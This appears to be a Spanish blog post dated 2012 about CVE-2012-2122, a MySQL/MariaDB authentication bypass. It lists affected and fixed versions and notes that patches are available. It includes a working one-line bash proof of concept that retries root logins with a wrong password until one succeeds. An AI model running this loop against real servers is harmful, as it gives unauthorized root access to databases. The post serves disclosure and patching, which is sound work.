Un fallo descubierto en MariaDB, y que también afecta a MySQL, permite saltarse la autenticación para acceder a la base de datos utilizando cualquier usuario válido, incluido el root, sin importar la contraseña. Cada vez que un usuario se conecta se genera un token SHA aleatorio y se compara con el valor esperado, pero bajo ciertas condiciones el resultado de esta comparación se considera válido aunque realmente no lo sea. Dado que el protocolo utiliza cadenas aleatorias, hay una probabilidad de 1/256 de que esto ocurra.

No todas las versiones son vulnerables:

  • Todas las versiones de MariaDB y MySQL hasta la 5.1.61, 5.2.11, 5.3.5 y 5.5.22 son vulnerables.
  • Las versiones de MariaDB desde la 5.1.62, 5.2.12, 5.3.6 y 5.5.23 no lo son.
  • Las versiones de MySQL desde la 5.1.63, 5.5.24 y 5.6.6 no lo son.

Explotación y medidas de protección

Explotar un sistema vulnerable es tan sencillo como intentar conectarnos de forma repetida:

$ for i in {1..512}; do echo 'select @@version;' | mysql -uroot -ppass -h 127.0.0.1 2>/dev/null && break; done

Ya hay disponibles actualizaciones en los repositorios para las versiones afectadas.


Actualizado el 13 de junio de 2012

En hispasec amplían la noticia y explican muy detalladamente las condiciones en las que se produce el falso positivo en la comprobación de la contraseña. También he cambiado la prueba de concepto por la de HD Moore porque me parece más elegante :)


Más información

» CVE-2012-2122 » Security vulnerability in MySQL/MariaDB sql/password.c » MySQL o cómo es posible dar por válida una contraseña incorrecta


Entradas relacionadas


Published

Category

hack

Tags

Contacto